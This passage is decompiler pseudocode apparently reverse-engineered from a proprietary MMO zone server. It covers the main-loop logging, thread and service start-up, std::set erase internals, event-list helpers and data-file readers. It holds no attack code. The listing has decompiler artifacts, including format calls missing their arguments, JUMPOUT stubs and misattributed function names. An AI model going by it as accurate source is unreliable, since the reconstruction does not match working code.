!v6->_Isnil ); v4 = globalset._Myhead; } v4->_Parent = v4; globalset._Mysize = 0; globalset._Myhead->_Left = globalset._Myhead; globalset._Myhead->_Right = globalset._Myhead; chargeditemcheck._bf0 = (unsigned __int8)(LOBYTE(timefromworld.tm_year) - 100) | ((LOWORD(timefromworld.tm_mon) + 1) << 8) & 0x1F00 | ((timefromworld.tm_mday & 0x3F | (((timefromworld.tm_min << 6) | timefromworld.tm_hour & 0x3F) << 6)) << 13); memcpy((void *)&stru_7BC0CC, &timefromworld, sizeof(stru_7BC0CC)); byte_7BC0F0 = 1; if ( !(chargeditemcheck._bf0 & 0xFFF80000) ) byte_7BC0F1 = 1; sleepmanager.sm_MaxPacketInLoop -= sleepmanager.sm_MaxPacketInLoop / 100; WorldManagerSession::wms_GuildTournamentCheck(&stru_1250E924); WorldManagerSession::wms_GuildWarStatusRequest(&stru_1250E924); WeddingHall::wh_Routine(&weddinghall); MoveManager::MoveManager((DiceTaiSai *)&hndunion); v7 = 0; LOBYTE(v46) = 1; nObjType = 0; do { if ( (unsigned __int16)v7 < 0xBu ) { v8 = (void *)dword_1247FEFC[(unsigned __int16)v7]; pObjectEachList = (void *)dword_1247FEFC[(unsigned __int16)v7]; } else { v8 = (void *)dword_1247FEFC[0]; pObjectEachList = (void *)dword_1247FEFC[0]; } for ( i = 0; ; ++i ) { v10 = (unsigned __int16)i < *((_WORD *)v8 + 2); nIndex = i; if ( !v10 ) break; v11 = *(_DWORD *)(*((_DWORD *)v8 + 2) + 12 * (unsigned __int16)i); if ( !v11 ) break; hndunion.sohu_Handle = *(_WORD *)(v11 + 4); v12 = (unsigned __int8)ShineObjectHandleUnion::sohu_HandleSplit(&hndunion, (unsigned __int16 *)&nSplitIndex); if ( nObjType != v12 || i != nSplitIndex ) { v13 = DebugLogging::operator<<( &ShineObjectHandleLog, "ZoneServer::zs_mainthreadfunction - so_GetZoneHandle["); v14 = v13; if ( DebugLogging::dl_ActivAll && v13->dl_Activ ) { if ( !v13->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v13) ) { v15 = fopen(v14->dl_FullFileName, "a+"); v14->dl_FilePointer = v15; if ( v15 ) fprintf(v15, "%s : "); } else { v14->dl_FilePointer = 0; } } v16 = v14->dl_FilePointer; if ( v16 ) fprintf(v16, "%d"); } v17 = DebugLogging::operator<<(v14, "] ObjType["); v18 = v17; if ( DebugLogging::dl_ActivAll && v17->dl_Activ ) { if ( !v17->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v17) ) { v19 = fopen(v18->dl_FullFileName, "a+"); v18->dl_FilePointer = v19; if ( v19 ) fprintf(v19, "%s : "); } else { v18->dl_FilePointer = 0; } } v20 = v18->dl_FilePointer; if ( v20 ) fprintf(v20, "%d"); } v21 = DebugLogging::operator<<(v18, ","); v22 = v21; if ( DebugLogging::dl_ActivAll && v21->dl_Activ ) { if ( !v21->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v21) ) { v23 = fopen(v22->dl_FullFileName, "a+"); v22->dl_FilePointer = v23; if ( v23 ) fprintf(v23, "%s : "); } else { v22->dl_FilePointer = 0; } } v24 = v22->dl_FilePointer; if ( v24 ) fprintf(v24, "%d"); } v25 = DebugLogging::operator<<(v22, "] Index["); v26 = v25; if ( DebugLogging::dl_ActivAll && v25->dl_Activ ) { if ( !v25->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v25) ) { v27 = fopen(v26->dl_FullFileName, "a+"); v26->dl_FilePointer = v27; if ( v27 ) fprintf(v27, "%s : "); } else { v26->dl_FilePointer = 0; } } v28 = v26->dl_FilePointer; if ( v28 ) fprintf(v28, "%d"); } v29 = DebugLogging::operator<<(v26, ","); v30 = v29; if ( DebugLogging::dl_ActivAll && v29->dl_Activ ) { if ( !v29->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v29) ) { v31 = fopen(v30->dl_FullFileName, "a+"); v30->dl_FilePointer = v31; if ( v31 ) fprintf(v31, "%s : "); } else { v30->dl_FilePointer = 0; } } v32 = v30->dl_FilePointer; if ( v32 ) fprintf(v32, "%d"); } v33 = DebugLogging::operator<<(v30, "] inlist["); v34 = v33; if ( DebugLogging::dl_ActivAll && v33->dl_Activ ) { if ( !v33->dl_FilePointer ) { if ( *DebugLogging::dl_MakeFileName(v33) ) { v35 = fopen(v34->dl_FullFileName, "a+"); v34->dl_FilePointer = v35; if ( v35 ) fprintf(v35, "%s : "); } else { v34->dl_FilePointer = 0; } } v36 = v34->dl_FilePointer; if ( v36 ) fprintf(v36, "%d"); } v37 = DebugLogging::operator<<(v34, (char *)&stru_59CBB8); v38 = v37; if ( DebugLogging::dl_ActivAll && v37->dl_Activ ) { if ( v37->dl_FilePointer ) { fputc(10, v37->dl_FilePointer); fflush(v38->dl_FilePointer); fclose(v38->dl_FilePointer); v38->dl_FilePointer = 0; } } i = nIndex; } v2 = param; v7 = nObjType; v8 = pObjectEachList; } ++v7; nObjType = v7; } while ( v7 < 11 ); LOBYTE(v46) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&hndunion); v1 = -1; } SocketBundle::sb_Routine(&sock2gameDB, "DB", &zoneserver, 2); SocketBundle::sb_Routine(&sock2gamelog, "Log", &zoneserver, 3); SocketBundle::sb_Routine(&sock2wldman, "WMS", &zoneserver, 5); List::l_4AllInList( (List *)&shineobjmanager, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))ShineObjectEachList::soel_Routine); SkillEffectApply::SkillBlastEffectContainer::sbec_Routine(&skilleffectapplyer); List::l_4AllInList( &zonevent, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))EventReserveListElement::erle_Routine); List::l_4AllInList( &optoollist, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))OPToolObject::opto_Routine); List::l_4AllInList( (List *)&gldstoramanager, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))GuildStorage::GuildStorageElement::gse_FreeDeactivate); byte_7BC0F0 = 0; byte_7BC0F1 = 0; if ( BossFieldContent::g_ServentBuffBossTable.sbbt_NextTick < clockwatch.cw_CurrTick ) BossFieldContent::g_ServentBuffBossTable.sbbt_NextTick = clockwatch.cw_CurrTick + 50; SleepManager::sm_Routine(&sleepmanager); if ( clockwatch.cw_CurrTick > mapclustermanager.cm_EmptyCheck.m_NextTick ) { mapclustermanager.cm_EmptyCheck.m_NextTick += mapclustermanager.cm_EmptyCheck.m_TickInterval; List::l_4AllInList( (List *)&mapclustermanager, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))MapClusterManager::MapCluster::mc_Routine); } performancechech.pc_Buffer[performancechech.pc_point.value] = clockwatch.cw_CurrTick; performancechech.pc_point.value = performancechech.pc_point.mask & (performancechech.pc_point.value + 1); ++*((_DWORD *)v2 + 3); FunctionProfiler::PerformanceRecorder::pr_MainLoopTail(&_PerformanceRecorder); } while ( !*((_BYTE *)v2 + 1) ); } *(_BYTE *)v2 = 0; --funcallanalizer.fca_stackpoint; v46 = v1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneServer::zs_mainthreadfunction"); return 0; } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 7BC0F0: using guessed type char byte_7BC0F0; // 7BC0F1: using guessed type char byte_7BC0F1; // 1246F082: using guessed type int dword_1246F082; //----- (005362F0) -------------------------------------------------------- char __thiscall ZoneServer::zs_Start_MainThread(ZoneServer *this) { ZoneServer *v1; // esi@1 HANDLE v2; // eax@1 char result; // al@4 v1 = this; this->zs_mainthread.stop = 0; this->zs_mainthread.activ = 0; v2 = CreateThread(0, 0, ZoneServer::zs_mainthreadfunction, this, 0, &this->zs_mainthread.id); v1->zs_mainthread.handle = v2; if ( v2 ) { while ( v1->zs_mainthread.activ != 1 ) Sleep(5u); result = 1; } else { result = 0; } return result; } //----- (00536340) -------------------------------------------------------- char __thiscall ZoneServer::zs_servicestart(ZoneServer *this) { ZoneServer *v1; // esi@1 int v2; // eax@2 int v4; // eax@4 int v5; // eax@6 struct _SYSTEM_INFO SystemInfo; // [sp+8h] [bp-24h]@1 v1 = this; GetSystemInfo(&SystemInfo); if ( CIOCP::Start(&v1->zs_IOCP, 2 * SystemInfo.dwNumberOfProcessors + 1, 1) != 2 * SystemInfo.dwNumberOfProcessors + 1 ) return 0; v2 = (unsigned __int8)ZoneServer::zs_Start_MainThread(v1); if ( !(_BYTE)v2 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_servicestart : MainThread fail", v2); return 0; } v4 = (unsigned __int8)ZoneServer::zs_Start_Acceptor(v1); if ( !(_BYTE)v4 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_servicestart : Acceptor fail", v4); return 0; } v5 = (unsigned __int8)ZoneServer::zs_Start_StackChecker(v1); if ( !(_BYTE)v5 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_servicestart : StackCheck fail", v5); return 0; } return 1; } //----- (005363F0) -------------------------------------------------------- unsigned int __stdcall ZoneServer::zs_ServiceThreadFunction(void *param) { unsigned int result; // eax@8 bool v2; // zf@11 *((_BYTE *)param + 32) = 1; *((_BYTE *)param + 33) = 0; *((_DWORD *)param + 11) = 0; if ( !CServerInfo::ReadServerInfo((CServerInfo *)((char *)param + 48), "../9Data/ServerInfo/ZoneServerInfo.txt") ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ZoneServerInfo.txt", 0); ShineExit("ZoneServer::zs_ServiceThreadFunction"); } if ( !CServerInfo::GetMyServerInfo((CServerInfo *)((char *)param + 48), (CServerInfo::MY_SERVER *)param + 66) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail Serverinfo", 0); ShineExit("ZoneServer::zs_ServiceThreadFunction"); } ShineObjectManager::som_Initialize(&shineobjmanager); DirectDistanceTable::ddt_Initialize(&ddt); ZoneServer::zs_start_old((ZoneServer *)param); if ( ZoneServer::zs_servicestart((ZoneServer *)param) ) { while ( *(_BYTE *)param ) Sleep(0x3E8u); v2 = *(_BYTE *)param == 0; *((_BYTE *)param + 1) = 1; if ( !v2 ) { do Sleep(5u); while ( *(_BYTE *)param ); } result = 0; } else { result = -3; } return result; } //----- (005364D0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 17) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc((std::_Tree,std::allocator,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 17) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 17) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 16); *(_BYTE *)(*(_DWORD *)&v6 + 16) = *(_BYTE *)(*(_DWORD *)&v4 + 16); *(_BYTE *)(*(_DWORD *)&v4 + 16) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 16) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 16) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 16) ) { *(_BYTE *)(v15 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 17) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 16) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 16) = 1; *(_BYTE *)(v15 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) = 1; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 16) ) { *(_BYTE *)(v15 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 17) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) = 1; *(_BYTE *)(v15 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)v15 + 16) = 1; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 16) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 16) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00536790) -------------------------------------------------------- char __thiscall ZoneServer::zs_ServiceRoutineStart(ZoneServer *this) { ZoneServer *v1; // esi@1 HANDLE v2; // eax@1 char result; // al@4 v1 = this; this->zs_ServiceThread.stop = 0; this->zs_ServiceThread.activ = 0; v2 = CreateThread(0, 0, ZoneServer::zs_ServiceThreadFunction, this, 0, &this->zs_ServiceThread.id); v1->zs_ServiceThread.handle = v2; if ( v2 ) { while ( v1->zs_ServiceThread.activ != 1 ) Sleep(5u); result = 1; } else { result = 0; } return result; } //----- (005367E0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 17) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 17); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 17); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (005368A0) -------------------------------------------------------- void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this) { std::set,std::allocator > *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (005368D0) -------------------------------------------------------- void __thiscall std::set_std::allocator>::set_std::allocator>(std::set,std::allocator > *this) { std::set,std::allocator > *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode((std::_Tree,std::allocator,0> > *)this); v1->baseclass_0._Myhead = (std::_Tree_nod,std::allocator,0> >::_Node *)v2; v2->_Isnil = 1; v1->baseclass_0._Myhead->_Parent = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Left = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Right = v1->baseclass_0._Myhead; v1->baseclass_0._Mysize = 0; } //----- (00536910) -------------------------------------------------------- void __thiscall FieldMap::fm_StartScript(void *this, int lst, __int16 handle) { void *v3; // esi@1 int v4; // eax@1 char v5; // cl@1 char *v6; // eax@1 PineScriptToken initval; // [sp+4h] [bp-110h]@1 unsigned int v8; // [sp+104h] [bp-10h]@3 int v9; // [sp+110h] [bp-4h]@1 v3 = this; PineScriptToken::pst_Clear(&initval); v4 = *((_DWORD *)v3 + 3); v5 = *(_BYTE *)(v4 + 65); v6 = (char *)(v4 + 65); v9 = 0; if ( v5 != 45 ) Movie::CinemaComplex::cc_PlayFilm(*((Movie::CinemaComplex **)v3 + 17), v6, &initval); v9 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&initval); __security_check_cookie(v8); } //----- (005369B0) -------------------------------------------------------- void __thiscall EventHeartPing::EventHeartPing(EventHeartPing *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&EventHeartPing::_vftable_; } // 5D4C88: using guessed type int (__cdecl *EventHeartPing___vftable_)(int __formal); //----- (005369C0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)EventReserveContainer::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5D4C8C: using guessed type int (__stdcall *EventReserveContainer___vftable_[3])(__int16 hnd); //----- (005369E0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, EventReserveListElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = ele->erle_happened; *(_DWORD *)(v3 + 4) = ele->erle_event; *(_DWORD *)(v3 + 8) = *(_DWORD *)&ele->erle_handle; *(_DWORD *)(v3 + 12) = ele->erle_repeat; return 1; } // 5369F6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00536A20) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, EventReserveListElement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 EventReserveListElement *v5; // edx@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; ele->erle_happened = v5->erle_happened; ele->erle_event = v5->erle_event; *(_DWORD *)&ele->erle_handle = *(_DWORD *)&v5->erle_handle; ele->erle_repeat = v5->erle_repeat; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00536A80) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, EventReserveListElement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 EventReserveListElement *v5; // edx@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; ele->erle_happened = v5->erle_happened; ele->erle_event = v5->erle_event; *(_DWORD *)&ele->erle_handle = *(_DWORD *)&v5->erle_handle; ele->erle_repeat = v5->erle_repeat; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00536AE0) -------------------------------------------------------- GameDBSession *__thiscall SocketBundle::__unnamed::__unnamed(GameDBSession *this) { GameDBSession *v1; // esi@1 v1 = this; GameDBSession::GameDBSession(this); return v1; } //----- (00536B00) -------------------------------------------------------- GameLogSession *__thiscall SocketBundle::__unnamed::__unnamed(GameLogSession *this) { GameLogSession *v1; // esi@1 v1 = this; GameLogSession::GameLogSession(this); return v1; } //----- (00536B20) -------------------------------------------------------- WorldManagerSession *__thiscall SocketBundle::__unnamed::__unnamed(WorldManagerSession *this) { WorldManagerSession *v1; // esi@1 v1 = this; WorldManagerSession::WorldManagerSession(this); return v1; } //----- (00536B40) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x92u, 0x2Bu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00536BF0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1E8u, 0x6Fu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00536CA0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x40Eu, 0x94u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00536D50) -------------------------------------------------------- void 